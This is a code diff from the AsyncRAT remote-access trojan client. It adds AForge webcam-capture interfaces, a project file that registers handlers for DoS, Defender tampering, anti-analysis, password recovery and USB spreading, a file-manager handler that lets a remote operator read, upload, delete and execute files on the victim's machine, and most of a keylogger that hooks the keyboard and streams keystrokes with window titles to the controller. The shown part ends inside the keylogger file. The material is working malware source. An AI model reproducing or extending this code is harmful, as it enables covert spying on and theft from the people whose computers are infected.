AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs
Normal file
126
AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs
Normal file
@ -0,0 +1,126 @@
|
||||
// AForge Video Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2005-2009
|
||||
// andrew.kirillov@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video
|
||||
{
|
||||
using System;
|
||||
|
||||
/// <summary>
|
||||
/// Video source interface.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>The interface describes common methods for different type of video sources.</remarks>
|
||||
///
|
||||
public interface IVideoSource
|
||||
{
|
||||
/// <summary>
|
||||
/// New frame event.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para>This event is used to notify clients about new available video frame.</para>
|
||||
///
|
||||
/// <para><note>Since video source may have multiple clients, each client is responsible for
|
||||
/// making a copy (cloning) of the passed video frame, but video source is responsible for
|
||||
/// disposing its own original copy after notifying of clients.</note></para>
|
||||
/// </remarks>
|
||||
///
|
||||
event NewFrameEventHandler NewFrame;
|
||||
|
||||
/// <summary>
|
||||
/// Video source error event.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>This event is used to notify clients about any type of errors occurred in
|
||||
/// video source object, for example internal exceptions.</remarks>
|
||||
///
|
||||
event VideoSourceErrorEventHandler VideoSourceError;
|
||||
|
||||
/// <summary>
|
||||
/// Video playing finished event.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para>This event is used to notify clients that the video playing has finished.</para>
|
||||
/// </remarks>
|
||||
///
|
||||
event PlayingFinishedEventHandler PlayingFinished;
|
||||
|
||||
/// <summary>
|
||||
/// Video source.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>The meaning of the property depends on particular video source.
|
||||
/// Depending on video source it may be a file name, URL or any other string
|
||||
/// describing the video source.</remarks>
|
||||
///
|
||||
string Source { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Received frames count.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Number of frames the video source provided from the moment of the last
|
||||
/// access to the property.
|
||||
/// </remarks>
|
||||
///
|
||||
int FramesReceived { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Received bytes count.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Number of bytes the video source provided from the moment of the last
|
||||
/// access to the property.
|
||||
/// </remarks>
|
||||
///
|
||||
long BytesReceived { get; }
|
||||
|
||||
/// <summary>
|
||||
/// State of the video source.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Current state of video source object - running or not.</remarks>
|
||||
///
|
||||
bool IsRunning { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Start video source.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Starts video source and return execution to caller. Video source
|
||||
/// object creates background thread and notifies about new frames with the
|
||||
/// help of <see cref="NewFrame"/> event.</remarks>
|
||||
///
|
||||
void Start( );
|
||||
|
||||
/// <summary>
|
||||
/// Signal video source to stop its work.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Signals video source to stop its background thread, stop to
|
||||
/// provide new frames and free resources.</remarks>
|
||||
///
|
||||
void SignalToStop( );
|
||||
|
||||
/// <summary>
|
||||
/// Wait for video source has stopped.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Waits for video source stopping after it was signalled to stop using
|
||||
/// <see cref="SignalToStop"/> method.</remarks>
|
||||
///
|
||||
void WaitForStop( );
|
||||
|
||||
/// <summary>
|
||||
/// Stop video source.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Stops video source aborting its thread.</remarks>
|
||||
///
|
||||
void Stop( );
|
||||
}
|
||||
}
|
125
AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs
Normal file
125
AsyncRAT-C#/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs
Normal file
@ -0,0 +1,125 @@
|
||||
// AForge Video Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2011
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video
|
||||
{
|
||||
using System;
|
||||
|
||||
/// <summary>
|
||||
/// Delegate for new frame event handler.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sender">Sender object.</param>
|
||||
/// <param name="eventArgs">Event arguments.</param>
|
||||
///
|
||||
public delegate void NewFrameEventHandler( object sender, NewFrameEventArgs eventArgs );
|
||||
|
||||
/// <summary>
|
||||
/// Delegate for video source error event handler.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sender">Sender object.</param>
|
||||
/// <param name="eventArgs">Event arguments.</param>
|
||||
///
|
||||
public delegate void VideoSourceErrorEventHandler( object sender, VideoSourceErrorEventArgs eventArgs );
|
||||
|
||||
/// <summary>
|
||||
/// Delegate for playing finished event handler.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sender">Sender object.</param>
|
||||
/// <param name="reason">Reason of finishing video playing.</param>
|
||||
///
|
||||
public delegate void PlayingFinishedEventHandler( object sender, ReasonToFinishPlaying reason );
|
||||
|
||||
/// <summary>
|
||||
/// Reason of finishing video playing.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para>When video source class fire the <see cref="IVideoSource.PlayingFinished"/> event, they
|
||||
/// need to specify reason of finishing video playing. For example, it may be end of stream reached.</para></remarks>
|
||||
///
|
||||
public enum ReasonToFinishPlaying
|
||||
{
|
||||
/// <summary>
|
||||
/// Video playing has finished because it end was reached.
|
||||
/// </summary>
|
||||
EndOfStreamReached,
|
||||
/// <summary>
|
||||
/// Video playing has finished because it was stopped by user.
|
||||
/// </summary>
|
||||
StoppedByUser,
|
||||
/// <summary>
|
||||
/// Video playing has finished because the device was lost (unplugged).
|
||||
/// </summary>
|
||||
DeviceLost,
|
||||
/// <summary>
|
||||
/// Video playing has finished because of some error happened the video source (camera, stream, file, etc.).
|
||||
/// A error reporting event usually is fired to provide error information.
|
||||
/// </summary>
|
||||
VideoSourceError
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Arguments for new frame event from video source.
|
||||
/// </summary>
|
||||
///
|
||||
public class NewFrameEventArgs : EventArgs
|
||||
{
|
||||
private System.Drawing.Bitmap frame;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="NewFrameEventArgs"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="frame">New frame.</param>
|
||||
///
|
||||
public NewFrameEventArgs( System.Drawing.Bitmap frame )
|
||||
{
|
||||
this.frame = frame;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// New frame from video source.
|
||||
/// </summary>
|
||||
///
|
||||
public System.Drawing.Bitmap Frame
|
||||
{
|
||||
get { return frame; }
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Arguments for video source error event from video source.
|
||||
/// </summary>
|
||||
///
|
||||
public class VideoSourceErrorEventArgs : EventArgs
|
||||
{
|
||||
private string description;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="VideoSourceErrorEventArgs"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="description">Error description.</param>
|
||||
///
|
||||
public VideoSourceErrorEventArgs( string description )
|
||||
{
|
||||
this.description = description;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Video source error description.
|
||||
/// </summary>
|
||||
///
|
||||
public string Description
|
||||
{
|
||||
get { return description; }
|
||||
}
|
||||
}
|
||||
}
|
@ -72,28 +72,70 @@
|
||||
<Reference Include="System.XML" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="AForge\Video.DirectShow\CameraControlProperty.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\FilterInfo.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\FilterInfoCollection.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IAMCameraControl.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IAMCrossbar.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IAMStreamConfig.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IAMVideoControl.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IBaseFilter.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\ICaptureGraphBuilder2.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\ICreateDevEnum.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IEnumFilters.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IEnumPins.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IFilterGraph.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IFilterGraph2.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IGraphBuilder.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IMediaControl.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IMediaEventEx.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IPin.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IPropertyBag.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\IReferenceClock.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\ISampleGrabber.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\ISampleGrabberCB.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\ISpecifyPropertyPages.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\Structures.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\Uuids.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Internals\Win32.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\PhysicalConnectorType.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\Uuids.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\VideoCapabilities.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\VideoCaptureDevice.cs" />
|
||||
<Compile Include="AForge\Video.DirectShow\VideoInput.cs" />
|
||||
<Compile Include="AForge\Video\IVideoSource.cs" />
|
||||
<Compile Include="AForge\Video\VideoEvents.cs" />
|
||||
<Compile Include="Algorithm\Aes256.cs" />
|
||||
<Compile Include="Algorithm\Sha256.cs" />
|
||||
<Compile Include="Handle Packet\HandleBlankScreen.cs" />
|
||||
<Compile Include="Handle Packet\HandleBotKiller.cs" />
|
||||
<Compile Include="Handle Packet\HandleDos.cs" />
|
||||
<Compile Include="Handle Packet\HandlePlugin.cs" />
|
||||
<Compile Include="Handle Packet\HandleFileManager.cs" />
|
||||
<Compile Include="Handle Packet\HandleRemoteDesktop.cs" />
|
||||
<Compile Include="Handle Packet\HandlerExecuteDotNetCode.cs" />
|
||||
<Compile Include="Handle Packet\HandleThumbnails.cs" />
|
||||
<Compile Include="Handle Packet\HandlePcOptions.cs" />
|
||||
<Compile Include="Handle Packet\HandlerChat.cs" />
|
||||
<Compile Include="Handle Packet\HandleReportWindow.cs" />
|
||||
<Compile Include="Handle Packet\HandlerRecovery.cs" />
|
||||
<Compile Include="Handle Packet\HandleShell.cs" />
|
||||
<Compile Include="Handle Packet\HandleTorrent.cs" />
|
||||
<Compile Include="Handle Packet\HandleUAC.cs" />
|
||||
<Compile Include="Handle Packet\HandleUninstall.cs" />
|
||||
<Compile Include="Handle Packet\HandleWebcam.cs" />
|
||||
<Compile Include="Handle Packet\HandleWindowsDefender.cs" />
|
||||
<Compile Include="Handle Packet\Packet.cs" />
|
||||
<Compile Include="Handle Packet\HandleLimeLogger.cs" />
|
||||
<Compile Include="Handle Packet\HandleProcessManager.cs" />
|
||||
<Compile Include="Handle Packet\HandleSendTo.cs" />
|
||||
<Compile Include="Handle Packet\HandleLimeUSB.cs" />
|
||||
<Compile Include="Helper\Anti_Analysis.cs" />
|
||||
<Compile Include="Helper\RegistryDB.cs" />
|
||||
<Compile Include="Helper\FormChat.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Helper\FormChat.Designer.cs">
|
||||
<DependentUpon>FormChat.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Helper\Methods.cs" />
|
||||
<Compile Include="Helper\ProcessCritical.cs" />
|
||||
<Compile Include="Install\NormalStartup.cs" />
|
||||
@ -107,6 +149,13 @@
|
||||
<Compile Include="Settings.cs" />
|
||||
<Compile Include="Connection\ClientSocket.cs" />
|
||||
<Compile Include="Connection\TempSocket.cs" />
|
||||
<Compile Include="StreamLibrary\Enums.cs" />
|
||||
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
|
||||
<Compile Include="StreamLibrary\IVideoCodec.cs" />
|
||||
<Compile Include="StreamLibrary\src\JpgCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="app.config" />
|
||||
@ -118,5 +167,10 @@
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Helper\FormChat.resx">
|
||||
<DependentUpon>FormChat.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
@ -167,7 +167,9 @@ namespace Client.Connection
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
//ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
@ -131,7 +131,9 @@ namespace Client.Connection
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
//ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
@ -0,0 +1,310 @@
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Diagnostics;
|
||||
using System.Net.Sockets;
|
||||
using System.Security.Authentication;
|
||||
using System.Net.Security;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Threading;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class FileManager
|
||||
{
|
||||
public FileManager(MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
||||
{
|
||||
case "getDrivers":
|
||||
{
|
||||
GetDrivers();
|
||||
break;
|
||||
}
|
||||
|
||||
case "getPath":
|
||||
{
|
||||
GetPath(unpack_msgpack.ForcePathObject("Path").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
case "uploadFile":
|
||||
{
|
||||
string fullPath = unpack_msgpack.ForcePathObject("Name").AsString;
|
||||
if (File.Exists(fullPath))
|
||||
{
|
||||
File.Delete(fullPath);
|
||||
Thread.Sleep(500);
|
||||
}
|
||||
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
|
||||
break;
|
||||
}
|
||||
|
||||
case "reqUploadFile":
|
||||
{
|
||||
ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString); ;
|
||||
break;
|
||||
}
|
||||
|
||||
case "socketDownload":
|
||||
{
|
||||
DownnloadFile(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("DWID").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
case "deleteFile":
|
||||
{
|
||||
string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
File.Delete(fullPath);
|
||||
break;
|
||||
}
|
||||
|
||||
case "execute":
|
||||
{
|
||||
string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
Process.Start(fullPath);
|
||||
break;
|
||||
}
|
||||
|
||||
case "createFolder":
|
||||
{
|
||||
string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString;
|
||||
if (!Directory.Exists(fullPath)) Directory.CreateDirectory(fullPath);
|
||||
break;
|
||||
}
|
||||
|
||||
case "deleteFolder":
|
||||
{
|
||||
string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString;
|
||||
if (Directory.Exists(fullPath)) Directory.Delete(fullPath);
|
||||
break;
|
||||
}
|
||||
|
||||
case "copyFile":
|
||||
{
|
||||
Packet.FileCopy = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
break;
|
||||
}
|
||||
|
||||
case "pasteFile":
|
||||
{
|
||||
string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
if (fullPath.Length > 0)
|
||||
{
|
||||
string[] filesArray = Packet.FileCopy.Split(new[] { "-=>" }, StringSplitOptions.None);
|
||||
for (int i = 0; i < filesArray.Length; i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (filesArray[i].Length > 0)
|
||||
{
|
||||
File.Copy(filesArray[i], Path.Combine(fullPath, Path.GetFileName(filesArray[i])), true);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Error(ex.Message);
|
||||
}
|
||||
}
|
||||
Packet.FileCopy = null;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "renameFile":
|
||||
{
|
||||
File.Move(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("NewName").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
case "renameFolder":
|
||||
{
|
||||
Directory.Move(unpack_msgpack.ForcePathObject("Folder").AsString, unpack_msgpack.ForcePathObject("NewName").AsString);
|
||||
break; ;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public void GetDrivers()
|
||||
{
|
||||
try
|
||||
{
|
||||
DriveInfo[] allDrives = DriveInfo.GetDrives();
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||
StringBuilder sbDriver = new StringBuilder();
|
||||
foreach (DriveInfo d in allDrives)
|
||||
{
|
||||
if (d.IsReady)
|
||||
{
|
||||
sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
|
||||
}
|
||||
msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public void GetPath(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
Debug.WriteLine($"Getting [{path}]");
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getPath";
|
||||
StringBuilder sbFolder = new StringBuilder();
|
||||
StringBuilder sbFile = new StringBuilder();
|
||||
|
||||
if (path == "DESKTOP") path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
|
||||
if (path == "APPDATA") path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "AppData");
|
||||
if (path == "USER") path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
|
||||
|
||||
foreach (string folder in Directory.GetDirectories(path))
|
||||
{
|
||||
sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>");
|
||||
}
|
||||
foreach (string file in Directory.GetFiles(path))
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
GetIcon(file.ToLower()).Save(ms, ImageFormat.Png);
|
||||
sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + new FileInfo(file).Length.ToString() + "-=>");
|
||||
}
|
||||
}
|
||||
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
|
||||
msgpack.ForcePathObject("File").AsString = sbFile.ToString();
|
||||
msgpack.ForcePathObject("CurrentPath").AsString = path.ToString();
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private Bitmap GetIcon(string file)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp"))
|
||||
{
|
||||
using (Bitmap myBitmap = new Bitmap(file))
|
||||
{
|
||||
return new Bitmap(myBitmap.GetThumbnailImage(48, 48, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero));
|
||||
}
|
||||
}
|
||||
else
|
||||
using (Icon icon = Icon.ExtractAssociatedIcon(file))
|
||||
{
|
||||
return icon.ToBitmap();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return new Bitmap(48, 48);
|
||||
}
|
||||
}
|
||||
|
||||
public void DownnloadFile(string file, string dwid)
|
||||
{
|
||||
TempSocket tempSocket = new TempSocket();
|
||||
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "socketDownload";
|
||||
msgpack.ForcePathObject("Command").AsString = "pre";
|
||||
msgpack.ForcePathObject("DWID").AsString = dwid;
|
||||
msgpack.ForcePathObject("File").AsString = file;
|
||||
msgpack.ForcePathObject("Size").AsString = new FileInfo(file).Length.ToString();
|
||||
tempSocket.Send(msgpack.Encode2Bytes());
|
||||
|
||||
|
||||
MsgPack msgpack2 = new MsgPack();
|
||||
msgpack2.ForcePathObject("Packet").AsString = "socketDownload";
|
||||
msgpack2.ForcePathObject("Command").AsString = "save";
|
||||
msgpack2.ForcePathObject("DWID").AsString = dwid;
|
||||
msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file);
|
||||
msgpack2.ForcePathObject("File").LoadFileAsBytes(file);
|
||||
tempSocket.Send(msgpack2.Encode2Bytes());
|
||||
tempSocket.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
tempSocket?.Dispose();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
//private void ChunkSend(byte[] msg, Socket client, SslStream ssl)
|
||||
//{
|
||||
// try
|
||||
// {
|
||||
// byte[] buffersize = BitConverter.GetBytes(msg.Length);
|
||||
// client.Poll(-1, SelectMode.SelectWrite);
|
||||
// ssl.Write(buffersize);
|
||||
// ssl.Flush();
|
||||
|
||||
// int chunkSize = 50 * 1024;
|
||||
// byte[] chunk = new byte[chunkSize];
|
||||
// using (MemoryStream buffereReader = new MemoryStream(msg))
|
||||
// {
|
||||
// BinaryReader binaryReader = new BinaryReader(buffereReader);
|
||||
// int bytesToRead = (int)buffereReader.Length;
|
||||
// do
|
||||
// {
|
||||
// chunk = binaryReader.ReadBytes(chunkSize);
|
||||
// bytesToRead -= chunkSize;
|
||||
// ssl.Write(chunk);
|
||||
// ssl.Flush();
|
||||
// } while (bytesToRead > 0);
|
||||
|
||||
// binaryReader.Dispose();
|
||||
// }
|
||||
// }
|
||||
// catch { return; }
|
||||
//}
|
||||
|
||||
public void ReqUpload(string id)
|
||||
{
|
||||
try
|
||||
{
|
||||
TempSocket tempSocket = new TempSocket();
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "reqUploadFile";
|
||||
msgpack.ForcePathObject("ID").AsString = id;
|
||||
tempSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch { return; }
|
||||
}
|
||||
|
||||
public void Error(string ex)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "error";
|
||||
msgpack.ForcePathObject("Message").AsString = ex;
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
200
AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs
Normal file
200
AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs
Normal file
@ -0,0 +1,200 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
using Client.MessagePack;
|
||||
using System.Threading;
|
||||
using Client.Connection;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
// │ Author : NYAN CAT
|
||||
// │ Name : LimeLogger v0.1
|
||||
// │ Contact : https://github.com/NYAN-x-CAT
|
||||
|
||||
// This program is distributed for educational purposes only.
|
||||
|
||||
public static class HandleLimeLogger
|
||||
{
|
||||
public static bool isON = false;
|
||||
public static void Run()
|
||||
{
|
||||
_hookID = SetHook(_proc);
|
||||
new Thread(() =>
|
||||
{
|
||||
while (ClientSocket.IsConnected)
|
||||
{
|
||||
Thread.Sleep(10);
|
||||
if (isON == false)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
UnhookWindowsHookEx(_hookID);
|
||||
CurrentActiveWindowTitle = "";
|
||||
Application.Exit();
|
||||
}).Start();
|
||||
Application.Run();
|
||||
}
|
||||
|
||||
private static IntPtr SetHook(LowLevelKeyboardProc proc)
|
||||
{
|
||||
using (Process curProcess = Process.GetCurrentProcess())
|
||||
using (ProcessModule curModule = curProcess.MainModule)
|
||||
{
|
||||
return SetWindowsHookEx(WHKEYBOARDLL, proc,
|
||||
GetModuleHandle(curModule.ModuleName), 0);
|
||||
}
|
||||
}
|
||||
|
||||
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
|
||||
{
|
||||
int vkCode = Marshal.ReadInt32(lParam);
|
||||
bool capsLock = (GetKeyState(0x14) & 0xffff) != 0;
|
||||
bool shiftPress = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0;
|
||||
string currentKey = KeyboardLayout((uint)vkCode);
|
||||
|
||||
if (capsLock || shiftPress)
|
||||
{
|
||||
currentKey = currentKey.ToUpper();
|
||||
}
|
||||
else
|
||||
{
|
||||
currentKey = currentKey.ToLower();
|
||||
}
|
||||
|
||||
if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24)
|
||||
currentKey = "[" + (Keys)vkCode + "]";
|
||||
|
||||
else
|
||||
{
|
||||
switch (((Keys)vkCode).ToString())
|
||||
{
|
||||
case "Space":
|
||||
currentKey = " ";
|
||||
break;
|
||||
case "Return":
|
||||
currentKey = "[ENTER]\n";
|
||||
break;
|
||||
case "Escape":
|
||||
currentKey = "";
|
||||
break;
|
||||
case "Back":
|
||||
currentKey = "[Back]";
|
||||
break;
|
||||
case "Tab":
|
||||
currentKey = "[Tab]\n";
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (CurrentActiveWindowTitle == GetActiveWindowTitle())
|
||||
{
|
||||
sb.Append(currentKey);
|
||||
}
|
||||
else
|
||||
{
|
||||
sb.Append(Environment.NewLine);
|
||||
sb.Append(Environment.NewLine);
|
||||
sb.Append($"### {GetActiveWindowTitle()} ###");
|
||||
sb.Append(Environment.NewLine);
|
||||
sb.Append(currentKey);
|
||||
}
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||
msgpack.ForcePathObject("log").AsString = sb.ToString();
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
return CallNextHookEx(_hookID, nCode, wParam, lParam);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
|
||||
private static string KeyboardLayout(uint vkCode)
|
||||
{
|
||||
try
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
byte[] vkBuffer = new byte[256];
|
||||
if (!GetKeyboardState(vkBuffer)) return "";
|
||||
uint scanCode = MapVirtualKey(vkCode, 0);
|
||||
IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId));
|
||||
ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout);
|
||||
return sb.ToString();
|
||||
}
|
||||
catch { }
|
||||
return ((Keys)vkCode).ToString();
|
||||
}
|
||||
|
||||
private static string GetActiveWindowTitle()
|
||||
{
|
||||
try
|
||||
